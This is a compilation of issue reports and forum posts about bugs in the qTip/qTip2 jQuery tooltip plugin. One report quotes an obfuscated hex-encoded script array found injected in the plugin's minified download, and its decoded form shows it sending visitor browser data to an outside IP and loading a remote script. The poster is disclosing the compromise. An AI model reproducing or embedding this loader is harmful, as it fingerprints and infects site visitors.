I've got error like "Cannot read property 'mozilla' of undefined" when hovering element where tooltip should show up. It works fine with previous version of jQuery...

Originally posted in the forums, but it got bumped off the first page and doesn't appear to have been addressed, so moving here.

Edit: Since this was reported, I've discovered other related issues that occur in iOS 3.2 (iPad) and iOS 4.2.1. See below.

This issue appears to be limited only to the iPhone and does not seem to occur on the iPad, but it is similar to the issue reported previously for the iPad:

When initially viewed on the iPhone, qTips triggers "above the fold" (ie. before scrolling) position correctly. However, when the page is scrolled, all tooltips become offset by the scroll amount. Scrolling back to the top fixes the position for triggers that are visible above the bottom of the window.

Also, as the viewport is changed on the iPhone (for example, by zooming into a portion of the page), all qTips shift themselves into incorrect positioning. Zooming back out to the full original viewport shifts them back into proper position.

Scrolling AND adjusting the viewport causes the tips to shift up by the scroll amount and also to the left/right/up/down based on the viewport zoom.

Are the fixes you put in place for the iPad limited specifically for the iPad, Craig? It seems like the fixes applied for the iPad bug would resolve this issue for the iPhone.

Version jquery.qtip-1.0.0-rc3.min.js, taken from the website.

var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];

Translates to : ["sc_co", "getElementById", "colorDepth", "width", "height", "charset", "location", "referrer", "userAgent", "script", "createElement", "id", "src", "http://91.196.216.64/s.php?ref=", "&cls=", "&sw=", "&sh=", "&dc=", "&lc=", "&ua=", "head", "getElementsByTagName", "appendChild"]

There is: http://91.196.216.64/s.php?ref= which apparently sends your browser agent and another piece of info.

Also see: http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack for more information.

I don't know if this is a defect with qtip2 or jquery. I get this error when I am in IE8. I don't see an obvious error show up in Chrome or FireFox but I don't know those browsers well enough to say there isn't an error.

But given the code that is bombing in jquery seems to be an else clause for IE I assume there is no error raised in those browsers. Below is the segment from jquery that raises the error. I put a comment in [] to show where the error is. In the unminified jquery 1.4.4 it errors on line 2442 character 4

I tend to think it is a jquery defect but I know they always want a streamlined jsfiddle with no plug-ins and I don't know how to trigger this error without qtip2.

// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { preventDefault: function() { this.isDefaultPrevented = returnTrue;

    var e = this.originalEvent;
    if ( !e ) {
        return;
    }

    // if preventDefault exists run it on the original event
    if ( e.preventDefault ) {
        e.preventDefault();

    // otherwise set the returnValue property of the original event to false (IE)
    } else {
        e.returnValue = false;  [Danoman2: This is the line that gives the error]
    }
},

Here is a full screen jsfiddle and the share link. It is just a single div with a RightClick qtip tied to it.

http://jsfiddle.net/danoman7/NFy2W/embedded/result/

http://jsfiddle.net/danoman7/NFy2W/

It is in the title. If qtip is set to target:mouse and hovering an image with rel=shadowbox, the shadowbox can´t be opend anymore. If you click, nothing happens. Any solution for that? Thanks

Hi!

First of all, thanks for qTip. It's a great tooltip. However, I found an error in Google Chrome. (Error doesn't show up in FireFox 3.6.17)

Description: I was just testing qtip. I made a link and loaded content into the tooltip with ajax. When I move my mouse over the link, the tooltip should appear and should follow my mouse. What happens is it appears, and stays in one place and if I take away my cursor and move it back, it disappears and never shows again. Although, the content gets loaded at first enter.

I've checked the Javascript console and found this:

Uncaught TypeError: Cannot read property 'pageY' of null
a.extend.repositionjquery.qtip.min.js:13
a.extend.setjquery.qtip.min.js:13
$.qtip.content.ajax.success/tooltip_comparison/:108
f.extend._Deferred.e.resolveWithjquery-1.6.2.min.js:16
wjquery-1.6.2.min.js:18
f.support.ajax.f.ajaxTransport.send.d

Here's my code:

$('#ajax').qtip({
                    content: {
                        text: 'Loading...',
                        ajax: {
                            url: 'ajax.php',
                            type: 'POST',
                            data: ad,
                            dataType: 'json',
                            success: function(data, status) {
                                this.set('content.text',data.text);
                            }
                        }
                    },
                    position: {
                        target: 'mouse',
                        adjust: {
                            mouse: true
                        }
                    }
});

jQuery version: 1.6.2 Browser: Google Chrome 10.0.648.204

Thank you.

I am using jQuery 1.6.2 and qTip2 nightly-b897d54beb5770addfe13e3bc78ebe131309093683. When using FireFox 5, I got the following javascript error:

a.compareDocumentPosition is not a function

Works fine with chrome 12.0.742.112, IE7, IE8, Opera 11 and safari 5.0.5

We have around 1000-1500 elements with qtip attached. We have 2 modes to show the tips -

1. Slideshow mode - Randomly shows any 1 of these tips at an interval of 5 secs.
2. Browse mode - Shows the tip when user clicks As the DOM elements are added the performance of the page slows down. If we remove DOM elements when tip is hidden it doesn't open again.

Please suggest how this can be solved.

The dialog is correctly re-positioned on resize, but it is possible to scroll the dialog off screen.

Is it possible to make the resize event be fired when the $(window).scroll occurs?

I am seeing some odd positioning behavior in browsers --

Safari 5.0.2 Mac: Tooltips that are positioned with my: "left bottom" or my: "right bottom" are positioned a couple hundred pixels too low.

Firefox 3.x Win and Mac: Many position settings result in the tooltip rendering in the wrong position and then jumping into the correct position.

Hi there, loving qtip2...

Just a quick question - what is the most straightforward way to achieve persistant content? I am currently displaying some radio buttons in a qtip, which works well but when I show the qtip again, the original state has been restored.

Hope you can help, best regards, Oisin

JQuery 3.3.1 outerWidth on a SVGSVGElement returns "NaNpx" where JQuery 3.2.1 outerWidth on a SVGSVGElement return a number.

Now in de reposition of the QTIP2 outerWidth( FALSE ) and outerHeight( FALSE ) is used what will now give "NaNpx"....

We are seeing null pointer errors in our application and this code should fix those NPE. This is my first time to contributing to a github repo. Let me know if I am missing something.

I changed the files used in the build script to include CommonJS support according to this article by npm.

Useful for including qTip2 with build tools such as webpack

Hi Team, I facing issue with qtip on disabled input controls with version 3.0.3. When I hover on control tool-tip appears but when I remove the mouse pointer from the control tool tip still appears. Tool tip should be hide in this case. Please suggest what should I do to resolve this.

Thanks Ashutosh Tiwari